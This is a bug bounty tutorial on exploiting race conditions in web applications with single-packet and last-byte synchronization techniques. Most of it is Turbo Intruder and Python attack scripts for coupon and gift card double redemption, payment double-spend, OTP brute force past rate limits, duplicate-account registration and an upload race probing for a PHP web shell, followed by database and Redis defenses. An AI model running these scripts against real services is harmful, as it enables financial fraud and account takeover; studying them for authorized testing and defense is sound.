Race Conditions: From Classic to Modern
A race condition vulnerability occurs when an application's security depends on a sequence of operations completing in a specific order, but an attacker can manipulate timing to violate that assumed order. The classic manifestation is the check-then-act pattern: the application checks a condition (do you have sufficient balance?), then performs an action (deduct balance), but an attacker submits multiple concurrent requests so that all pass the check before any action is executed.
The fundamental challenge in exploiting race conditions has historically been synchronization — ensuring all requests arrive at the server simultaneously. Network jitter, TCP connection establishment overhead, and server-side queuing all introduce timing variability that makes races unreliable. The modern single-packet attack technique, pioneered by James Kettle and implemented in Burp Suite's Turbo Intruder, largely solves this problem.
Why Traditional Multi-Threaded Attacks Fail
When you send 50 concurrent requests using Python's threading library, each request goes through its own TCP handshake. The TCP handshake alone takes one round-trip time (RTT) — typically 20-100ms to a remote target. Even if all threads start simultaneously, they arrive at the server spread across a window of ~100ms due to RTT variance. Most race condition windows are microseconds to milliseconds wide, meaning traditional threading rarely works against remote targets.
# Traditional approach (unreliable for remote targets):
import threading
import requests
def send_request():
requests.post('https://target.com/redeem', data={'code': 'DISCOUNT50'},
cookies={'session': 'your_session'})
threads = [threading.Thread(target=send_request) for _ in range(20)]
for t in threads:
t.start()
# Problem: TCP handshakes spread requests across ~100ms window
# Race window may be only microseconds — this rarely works remotely
The Single-Packet Attack
HTTP/2 multiplexes multiple requests over a single TCP connection. By packaging multiple HTTP/2 requests into a single TCP packet (or the minimum number of packets), all requests arrive at the server at virtually the same time — the server reads them from the same kernel buffer in microseconds. This is the single-packet attack, and it reduces the synchronization window from ~100ms down to sub-millisecond.
Even for HTTP/1.1 targets, the "last-byte synchronization" technique holds all requests with the final data byte unsent, then releases them simultaneously. This ensures all requests are in the server's TCP receive buffer when the last byte triggers processing.
Burp Suite Turbo Intruder
Turbo Intruder is a Burp Suite extension that implements both the single-packet attack and last-byte synchronization. It uses a Python scripting interface for fine-grained control over timing and request generation.
Installation and Setup
# Install Turbo Intruder:
# Burp Suite > Extensions > BApp Store > Turbo Intruder > Install
# Access: Right-click any request > Extensions > Send to Turbo Intruder
# Basic single-packet attack template:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1, # single connection
requestsPerConnection=100, # 100 requests per connection
pipeline=False, # don't pipeline
engine=Engine.HTTP2) # use HTTP/2
# Queue all requests before sending any
for i in range(20):
engine.queue(target.req, gate='race')
# Release all queued requests simultaneously
engine.openGate('race')
def handleResponse(req, interesting):
table.add(req)
Full Turbo Intruder Script for Payment Bypass
# Scenario: Redeeming a coupon code that should only work once
# The server checks: is code valid AND not used? Then marks it used.
# Race condition: check happens before mark in a non-atomic way
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=30,
pipeline=False,
engine=Engine.HTTP2)
# The target request (already in Burp with your session cookie):
# POST /api/coupon/redeem HTTP/2
# Host: shop.target.com
# Cookie: session=your_valid_session
# Content-Type: application/json
#
# {"code":"SAVE50","order_id":"12345"}
for i in range(25):
engine.queue(target.req, gate='coupon_race')
engine.openGate('coupon_race')
def handleResponse(req, interesting):
# Flag responses that indicate success
if '200' in req.response and 'discount_applied' in req.response:
table.add(req)
curl -v --http2 https://target.com 2>&1 | grep "HTTP/2". If HTTP/2 is not supported, use the last-byte sync technique by setting engine=Engine.THREADED and pipeline=True.Payment and Double-Spend Attacks
Gift Card / Coupon Reuse
The most reliable race condition target in bug bounties. A gift card redemption endpoint typically:
- Queries database:
SELECT balance FROM gift_cards WHERE code = ? - Checks:
if (balance > 0) - Updates:
UPDATE gift_cards SET balance = 0 WHERE code = ? - Credits user account
Between steps 2 and 3, a concurrent request passes the same check before either deducts. Result: both requests credit the account, doubling the gift card value.
# Burp request to send in race:
POST /api/wallet/redeem HTTP/2
Host: store.target.com
Cookie: session=VALID_SESSION_TOKEN
Content-Type: application/json
Content-Length: 35
{"gift_card_code":"GC-XXXX-YYYY-ZZZZ"}
# Turbo Intruder script (send 25 simultaneous requests):
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=25,
engine=Engine.HTTP2)
for _ in range(25):
engine.queue(target.req, gate='gc_race')
engine.openGate('gc_race')
def handleResponse(req, interesting):
if req.status == 200:
table.add(req)
# Expected result if vulnerable:
# Multiple 200 OK responses, each crediting $50
# Account balance increases by $50 * (number of successful races)
Wallet Top-Up Race (Double-Spend)
# Scenario: Transfer $100 from bank to wallet, race to double-credit
POST /api/payment/confirm HTTP/2
Host: fintech.target.com
Cookie: session=VALID_SESSION
Content-Type: application/json
{"payment_id":"PAY_123456","amount":100,"action":"confirm"}
# If the confirmation handler reads payment record, credits wallet,
# then marks payment as processed — race the confirmation:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=15,
engine=Engine.HTTP2)
for _ in range(15):
engine.queue(target.req, gate='payment_race')
engine.openGate('payment_race')
OTP and Rate Limit Bypass via Racing
OTP Brute Force via Race Conditions
Many applications implement OTP rate limiting by counting attempts in a database or cache. If the counter increment and limit check are not atomic (not wrapped in a transaction or using atomic operations), concurrent requests can all pass the check before any increment is recorded:
# Server-side vulnerable logic:
def verify_otp(user_id, code):
attempts = db.get_attempts(user_id) # reads current count
if attempts >= 5:
return "too_many_attempts"
db.increment_attempts(user_id) # race window here!
if db.get_otp(user_id) == code:
return "success"
return "invalid"
# Attack: send 100 OTP attempts simultaneously
# All 100 read attempts=0, all pass the check
# Only the correct one returns success
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
engine=Engine.HTTP2)
# Generate all OTP candidates (6-digit: 000000-999999)
# For targeted attack, use common OTPs or sequential
for otp in wordlists.clipboard: # load OTP list from clipboard
engine.queue(target.req, otp.rstrip(), gate='otp_race')
engine.openGate('otp_race')
def handleResponse(req, interesting):
if 'success' in req.response or 'verified' in req.response:
table.add(req)
Email OTP Racing — Practical Example
# The request to race:
POST /auth/verify-otp HTTP/2
Host: target.com
Cookie: session=SESSION_AFTER_LOGIN
Content-Type: application/json
{"otp":"§000000§"}
# Turbo Intruder with wordlist (numbers 000000-999999):
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=500,
engine=Engine.HTTP2)
# Batch in groups to avoid overwhelming the server
batch_size = 500
codes = [str(i).zfill(6) for i in range(1000000)]
for i in range(0, len(codes), batch_size):
batch = codes[i:i+batch_size]
gate_name = f'otp_batch_{i}'
for code in batch:
engine.queue(target.req, code, gate=gate_name)
engine.openGate(gate_name)
# Check results before next batch
import time; time.sleep(0.5)
def handleResponse(req, interesting):
if req.status == 200 and 'invalid' not in req.response:
table.add(req)
Registration Race Conditions
Unique email/username constraints enforced at the application layer (not the database level) are vulnerable to race conditions. If two registration requests arrive simultaneously for the same username, both may pass the "does username exist?" check before either commits the new record:
# Race to register duplicate accounts:
POST /auth/register HTTP/2
Host: target.com
Content-Type: application/json
{"email":"[email protected]","password":"Password123!"}
# If you register the victim's email, you control their account reset flow
# Or: register with an internal email ([email protected], [email protected])
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=20,
engine=Engine.HTTP2)
for _ in range(20):
engine.queue(target.req, gate='reg_race')
engine.openGate('reg_race')
def handleResponse(req, interesting):
if req.status in [200, 201]:
table.add(req)
# Multiple 201 Created = race won, duplicate account created
File Upload TOCTOU Races
Time-of-Check to Time-of-Use (TOCTOU) vulnerabilities in file upload handlers occur when security validation happens in a separate step from the actual file processing. The attack window exists between when a file passes validation and when it's used:
# Vulnerable upload handler (simplified):
def upload_file(file_data, filename):
temp_path = f'/tmp/uploads/{uuid4()}/{filename}'
write_file(temp_path, file_data) # Step 1: Write file
# Step 2: Validate (check extension, scan content)
if not is_safe_file(temp_path):
os.remove(temp_path)
return "unsafe file"
final_path = f'/var/www/uploads/{filename}'
os.rename(temp_path, final_path) # Step 3: Move to final location
return "uploaded"
# Race window: between Steps 2 and 3
# If you can replace the temp file with malicious content after validation
# but before the rename, malicious file lands at final_path
# Attack using a symlink race:
# While validation is running, replace temp file with symlink to /var/www/html/shell.php
# When rename() executes, it renames your symlink target to final_path
# Practical PoC (requires filesystem access, more relevant to local privilege escalation)
# For web context: race a ZIP extraction handler instead
# ZIP slip + race condition:
# Upload legitimate ZIP, race to replace contents during async extraction
Image Processing Race
# Many platforms process images asynchronously:
# 1. Upload image -> temporarily accessible at /uploads/temp/image.jpg
# 2. Background job validates/resizes it
# 3. If valid, move to /uploads/final/image.jpg
# Race window: during step 2, temp file is accessible but not yet validated
# Request the temp file immediately after upload before processing completes
# Automated race during upload:
import threading, requests, time
session = requests.Session()
session.cookies.set('session', 'YOUR_SESSION')
def upload_and_fetch():
# Upload file
r = session.post('https://target.com/upload',
files={'file': ('shell.php.jpg', open('test.jpg', 'rb'), 'image/jpeg')})
temp_url = r.json().get('temp_url')
# Immediately try to access it as PHP
# Some servers process extensions of temp files differently
for _ in range(50):
try:
exec_r = session.get(temp_url.replace('.jpg', '.php'))
if 'uid=' in exec_r.text:
print(f"[!] RCE via upload race: {exec_r.text}")
break
except:
pass
upload_and_fetch()
Detecting Race Windows: Timing Analysis
Response Timing as an Oracle
Before launching a race attack, analyze response timing to understand if and where a race window exists:
# Using Burp Repeater timing:
# 1. Send a request and note the response time
# 2. Send a duplicate request immediately after
# 3. If the second response is significantly faster (cache hit) or slower
# (lock contention), a race window likely exists
# Python timing analysis:
import requests, statistics, time
url = 'https://target.com/api/redeem'
headers = {'Cookie': 'session=YOUR_SESSION', 'Content-Type': 'application/json'}
data = '{"code":"TEST123"}'
times = []
for i in range(10):
start = time.perf_counter()
r = requests.post(url, headers=headers, data=data)
elapsed = time.perf_counter() - start
times.append(elapsed)
print(f"Request {i+1}: {elapsed*1000:.2f}ms - Status: {r.status_code}")
print(f"\nMean: {statistics.mean(times)*1000:.2f}ms")
print(f"Stdev: {statistics.stdev(times)*1000:.2f}ms")
# High stdev suggests inconsistent processing = potential race window
Differential Response Analysis
# After a race attack, analyze the responses:
# Scenario: applying a coupon code
# Expected (no race):
# Request 1: 200 OK - {"discount": 50, "status": "applied"}
# Request 2: 400 Bad Request - {"error": "coupon already used"}
# Vulnerable (race won):
# Request 1: 200 OK - {"discount": 50, "status": "applied"}
# Request 2: 200 OK - {"discount": 50, "status": "applied"} <-- double redemption!
# In Turbo Intruder, filter by status code to identify winners:
def handleResponse(req, interesting):
if req.status == 200:
table.add(req)
# Also add unexpected responses:
elif req.status not in [400, 409, 429]:
table.add(req)
Real-World Bug Bounty Examples
| Target Type | Vulnerability | Impact | Bounty Range |
|---|---|---|---|
| E-commerce Platform | Gift card double redemption | Infinite balance generation | $5,000-$15,000 |
| Fintech App | Referral bonus race | Unlimited bonus credits | $3,000-$10,000 |
| SaaS Platform | Plan upgrade race | Free premium access | $1,000-$5,000 |
| Auth System | OTP rate limit bypass | Account takeover | $5,000-$25,000 |
| API Platform | Registration race (email takeover) | Pre-register victim email | $2,000-$8,000 |
Advanced: HTTP/1.1 Last-Byte Synchronization
# For HTTP/1.1 targets without HTTP/2 support:
# Hold all requests with the final byte unsent
# Release all final bytes simultaneously
# Turbo Intruder HTTP/1.1 last-byte sync:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30, # multiple connections
requestsPerConnection=1,
pipeline=False,
engine=Engine.THREADED)
# Build request manually, hold last byte
for i in range(30):
engine.queue(target.req, gate='sync_gate')
# All 30 connections established, requests queued
# Release gate fires all last bytes simultaneously
engine.openGate('sync_gate')
# The key: Turbo Intruder establishes all connections
# and sends all request data EXCEPT the final byte,
# then sends all final bytes in a tight loop
# This creates ~1ms synchronization window even over HTTP/1.1
Defense Mechanisms
Database-Level Atomicity
-- SQL: Use SELECT FOR UPDATE to lock the row
BEGIN TRANSACTION;
SELECT balance FROM gift_cards WHERE code = 'GC-XXX' FOR UPDATE;
-- Row is now locked, concurrent transactions must wait
UPDATE gift_cards SET balance = 0, used_at = NOW() WHERE code = 'GC-XXX' AND balance > 0;
-- Use affected rows count to detect races:
-- If affected_rows == 0: another request already processed this
COMMIT;
-- Even better: atomic conditional update
UPDATE gift_cards
SET balance = 0, used_at = NOW()
WHERE code = 'GC-XXX' AND balance > 0 AND used_at IS NULL;
-- Check affected_rows == 1 for success
Redis Atomic Operations
# Use Redis SETNX for atomic check-and-set:
import redis
r = redis.Redis()
def redeem_coupon(code, user_id):
# SETNX: Set if Not eXists — atomic operation
lock_key = f"coupon:used:{code}"
acquired = r.setnx(lock_key, user_id) # returns 1 if set, 0 if already exists
if not acquired:
return "already_used"
r.expire(lock_key, 3600) # cleanup after 1 hour
# Credit user account
return "success"
# Alternatively: Redis Lua scripts for complex atomic operations
lua_script = """
local current = redis.call('GET', KEYS[1])
if current then
return 0
else
redis.call('SET', KEYS[1], ARGV[1], 'EX', 3600)
return 1
end
"""
result = r.eval(lua_script, 1, f"coupon:{code}", user_id)
Race condition vulnerabilities remain consistently underreported in bug bounty programs because they require precise timing and the right tooling. The single-packet attack technique combined with Turbo Intruder has made previously unreliable races consistently exploitable, significantly raising the practical impact of this vulnerability class. Any feature involving counting, balancing, or unique constraints is a candidate for race condition testing.